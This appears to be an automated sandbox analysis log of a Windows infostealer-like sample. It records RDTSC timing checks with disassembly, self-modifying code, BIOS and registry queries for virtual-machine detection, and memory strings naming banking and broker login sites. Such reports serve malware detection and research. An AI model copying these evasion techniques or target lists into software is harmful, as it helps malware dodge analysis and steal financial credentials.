Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0505 second address: 49F0571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007FAC60C4BF32h 0x0000000e nop 0x0000000f pushad 0x00000010 mov cx, C4FDh 0x00000014 push eax 0x00000015 jmp 00007FAC60C4BF39h 0x0000001a pop eax 0x0000001b popad 0x0000001c push eax 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FAC60C4BF2Ch 0x00000024 jmp 00007FAC60C4BF35h 0x00000029 popfd 0x0000002a mov dh, ch 0x0000002c popad 0x0000002d nop 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0571 second address: 49F0575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0575 second address: 49F0589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0589 second address: 49F05F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC6125CCB1h 0x00000009 sbb esi, 741ABC36h 0x0000000f jmp 00007FAC6125CCB1h 0x00000014 popfd 0x00000015 mov cx, EC27h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FAC6125CCAFh 0x00000026 or eax, 628FB96Eh 0x0000002c jmp 00007FAC6125CCB9h 0x00000031 popfd 0x00000032 push esi 0x00000033 pop edi 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F05F4 second address: 49F063C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 86CEh 0x00000007 jmp 00007FAC60C4BF2Fh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007FAC60C4BF35h 0x00000019 add al, 00000006h 0x0000001c jmp 00007FAC60C4BF31h 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49E0DC1 second address: 49E0DDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49E0DDE second address: 49E0E03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FAC60C4BF34h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49E0E03 second address: 49E0E1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49E0E1F second address: 49E0E5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FAC60C4BF2Bh 0x00000013 sbb al, 0000000Eh 0x00000016 jmp 00007FAC60C4BF39h 0x0000001b popfd 0x0000001c mov di, cx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49E0E5F second address: 49E0F17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FAC6125CCAAh 0x00000013 adc esi, 63FF83B8h 0x00000019 jmp 00007FAC6125CCABh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007FAC6125CCB8h 0x00000025 and cx, 3E18h 0x0000002a jmp 00007FAC6125CCABh 0x0000002f popfd 0x00000030 popad 0x00000031 push eax 0x00000032 pushfd 0x00000033 jmp 00007FAC6125CCAFh 0x00000038 add ax, D2DEh 0x0000003d jmp 00007FAC6125CCB9h 0x00000042 popfd 0x00000043 pop ecx 0x00000044 popad 0x00000045 push ecx 0x00000046 jmp 00007FAC6125CCACh 0x0000004b mov dword ptr [esp], ecx 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FAC6125CCB7h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49E0F66 second address: 49E0F83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0B95 second address: 49F0BA5 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b mov edi, 677516DCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0BA5 second address: 49F0BA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0BA9 second address: 49F0BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FAC6125CCABh 0x0000000c add si, 365Eh 0x00000011 jmp 00007FAC6125CCB9h 0x00000016 popfd 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FAC6125CCADh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0BEB second address: 49F0BF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0BF1 second address: 49F0C69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007FAC6125CCB6h 0x00000012 cmp dword ptr [75AB459Ch], 05h 0x00000019 jmp 00007FAC6125CCB0h 0x0000001e je 00007FACD22BAA6Ch 0x00000024 jmp 00007FAC6125CCB0h 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FAC6125CCB7h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0C69 second address: 49F0C6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0C6F second address: 49F0C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0CA6 second address: 49F0CB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0CB5 second address: 49F0D38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC6125CCAFh 0x00000009 sbb ax, 734Eh 0x0000000e jmp 00007FAC6125CCB9h 0x00000013 popfd 0x00000014 mov eax, 24896B57h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push 2073EF05h 0x00000021 jmp 00007FAC6125CCB3h 0x00000026 xor dword ptr [esp], 55D9732Dh 0x0000002d pushad 0x0000002e mov bx, si 0x00000031 mov eax, 106F6137h 0x00000036 popad 0x00000037 call 00007FACD22C1B00h 0x0000003c push 75A52B70h 0x00000041 push dword ptr fs:[00000000h] 0x00000048 mov eax, dword ptr [esp+10h] 0x0000004c mov dword ptr [esp+10h], ebp 0x00000050 lea ebp, dword ptr [esp+10h] 0x00000054 sub esp, eax 0x00000056 push ebx 0x00000057 push esi 0x00000058 push edi 0x00000059 mov eax, dword ptr [75AB4538h] 0x0000005e xor dword ptr [ebp-04h], eax 0x00000061 xor eax, ebp 0x00000063 push eax 0x00000064 mov dword ptr [ebp-18h], esp 0x00000067 push dword ptr [ebp-08h] 0x0000006a mov eax, dword ptr [ebp-04h] 0x0000006d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000074 mov dword ptr [ebp-08h], eax 0x00000077 lea eax, dword ptr [ebp-10h] 0x0000007a mov dword ptr fs:[00000000h], eax 0x00000080 ret 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007FAC6125CCB9h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0D38 second address: 49F0D3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0D3E second address: 49F0D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0D42 second address: 49F0D55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0D55 second address: 49F0D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0D59 second address: 49F0D6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0D6A second address: 49F0D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0E09 second address: 49F0E0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0E0D second address: 49F0E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 cmp dword ptr [ebp+08h], 00002000h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FAC6125CCB1h 0x00000017 xor eax, 73E62926h 0x0000001d jmp 00007FAC6125CCB1h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FAC6125CCB0h 0x00000029 jmp 00007FAC6125CCB5h 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0E70 second address: 49F0E80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC60C4BF2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00BFF second address: 4A00C6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx esi, di 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007FAC6125CCB4h 0x00000015 adc ch, FFFFFF88h 0x00000018 jmp 00007FAC6125CCABh 0x0000001d popfd 0x0000001e pop eax 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 mov di, 09F6h 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 jmp 00007FAC6125CCADh 0x0000002d mov ebp, esp 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 movsx edx, cx 0x00000035 mov cx, 16FBh 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00C6A second address: 4A00C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00C70 second address: 4A00CB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FAC6125CCB4h 0x0000000e mov dword ptr [esp], esi 0x00000011 jmp 00007FAC6125CCB0h 0x00000016 mov esi, dword ptr [ebp+0Ch] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FAC6125CCAAh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00CB1 second address: 4A00CB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00CB7 second address: 4A00CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00CBD second address: 4A00CC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00CC1 second address: 4A00CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007FAC6125CCB4h 0x0000000f je 00007FACD22AA37Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push edx 0x00000019 pop eax 0x0000001a mov ecx, ebx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00CED second address: 4A00D02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC60C4BF31h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00D02 second address: 4A00D06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00D06 second address: 4A00D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AB459Ch], 05h 0x0000000f pushad 0x00000010 mov cx, dx 0x00000013 popad 0x00000014 je 00007FACD1CB16A3h 0x0000001a jmp 00007FAC60C4BF31h 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00D38 second address: 4A00D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00D3C second address: 4A00D4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00D4F second address: 4A00D84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAC6125CCB3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00D84 second address: 4A00D88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00D88 second address: 4A00D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00D8E second address: 4A00D94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00D94 second address: 4A00D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00D98 second address: 4A00DB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FAC60C4BF34h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00DB9 second address: 4A00DBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00DF3 second address: 4A00DF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00DF9 second address: 4A00DFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00E4F second address: 4A00E53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00E53 second address: 4A00E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00E59 second address: 4A00E68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC60C4BF2Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00E68 second address: 4A00E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00E6C second address: 4A00EA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FAC60C4BF2Bh 0x00000010 sbb ah, 0000000Eh 0x00000013 jmp 00007FAC60C4BF39h 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b mov dx, ax 0x0000001e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Special instruction interceptor: First address: 7B952D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Special instruction interceptor: First address: 83C441 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe TID: 3232	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe TID: 4872	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1473819840.0000000000790000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1358097927.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1472900843.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000002.1474645808.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1424640914.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1345748850.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1407562983.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1346393166.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe, 00000000.00000003.1374201702.0000000005417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
